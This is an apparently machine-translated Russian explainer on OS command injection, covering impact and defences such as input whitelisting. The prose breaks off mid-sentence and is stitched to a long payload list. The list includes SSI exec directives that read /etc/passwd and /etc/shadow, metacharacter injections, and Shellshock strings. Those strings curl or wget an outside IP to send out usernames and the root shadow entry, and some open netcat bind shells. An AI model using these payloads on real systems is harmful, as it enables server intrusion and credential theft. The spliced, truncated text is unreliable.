Инъекция команды - это атака, в которой целью является выполнение произвольных команд в хост -операционной системе с помощью уязвимого приложения. Атаки впрыскивания команд возможны, когда приложение передает небезопасные данные, предоставляемые пользователем (формы, файлы cookie, заголовки HTTP и т. Д.) В системную оболочку. В этой атаке команды операционной системы, поставленные злоумышленником, обычно выполняются с привилегиями уязвимого приложения. Атаки впрыска команд возможны в значительной степени из -за недостаточной проверки ввода.
Эта атака отличается от инъекции кода, в этом инъекции кода позволяет злоумышленнику добавить свой собственный код, который затем выполняется приложением. В инъекции команды злоумышленник расширяет функциональность приложения по умолчанию, которое выполняет системные команды без необходимости инъекционного кода.
Инъекция команды ОС - это критическая уязвимость, которая позволяет злоумышленникам получить полный контроль над пораженным веб -сайтом и базовым веб -сервером.
Уязвимости инъекции команды ОС возникают, когда приложение включает пользовательские данные в команду операционной системы, которую оно выполняет. Злоумышленник может манипулировать данными, чтобы заставить свои собственные команды запускать. Это позволяет злоумышленнику выполнять любые действия, которые может выполнить само приложение, включая чтение или изменение всех своих данных и выполнение привилегированных действий.
В дополнение к общему компромиссу самого веб -сервера, злоумышленник может использовать уязвимость инъекции команды, чтобы повернуть атаку во внутренней инфраструктуре организации, потенциально доступ к любой системе, к которой может получить доступ веб -сервер. Они также могут быть в состоянии создать постоянную опору в организации, продолжая доступ к скомпрометированным системам даже после того, как исходная уязвимость была установлена.
Уязвимости команды операционной системы возникают, когда приложение включает в себя контролируемые пользователи данные в команду, которая обрабатывается интерпретатором команды Shell. Если пользовательские данные не будут строго проверены, злоумышленник может использовать Metacharacters Shell для изменения выполненной команды, и внедрить произвольные команды, которые будут выполняться сервером.
Уязвимости в инъекции команды ОС, как правило, очень серьезны и могут привести к компромиссу сервера, размещающего приложение или собственные данные и функциональность приложения. Также может быть возможно использовать сервер в качестве платформы для атак против других систем. Точный потенциал для эксплуатации зависит от контекста безопасности, в котором выполняется команда, и от привилегий, которые этот контекст имеет конфиденциальные ресурсы на сервере.
Если возможно, приложения должны избегать включения контролируемых пользователя данных в команды операционной системы. Почти в каждой ситуации существуют более безопасные альтернативные методы выполнения задач на уровне сервера, которыми нельзя манипулировать для выполнения дополнительных команд, чем предполагаемые.
Если считается неизбежным включать в себя пользовательские данные в команды операционной системы, для предотвращения атак следует использовать следующие два уровня защиты:
Пользовательские данные должны быть строго проверены. В идеале следует использовать белый список конкретных принятых значений. В противном случае должны быть приняты только короткие буквенно -цифровые струны. Ввод, содержащий любые другие данные, включая любые возможные оболочки метахарактера или пробелы, должен быть отклонен.
Приложение должно использовать API команды, которые запускают конкретный процесс с помощью его имени и параметров командной строки, а не передавать строку команды интерпретатору оболочки, которая поддерживает цепочку команд и перенаправление. Например, Java API Runtime.exec и ASP.NET API Process.start не поддерживают метахарактер Shell. Эта защита может смягчить
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>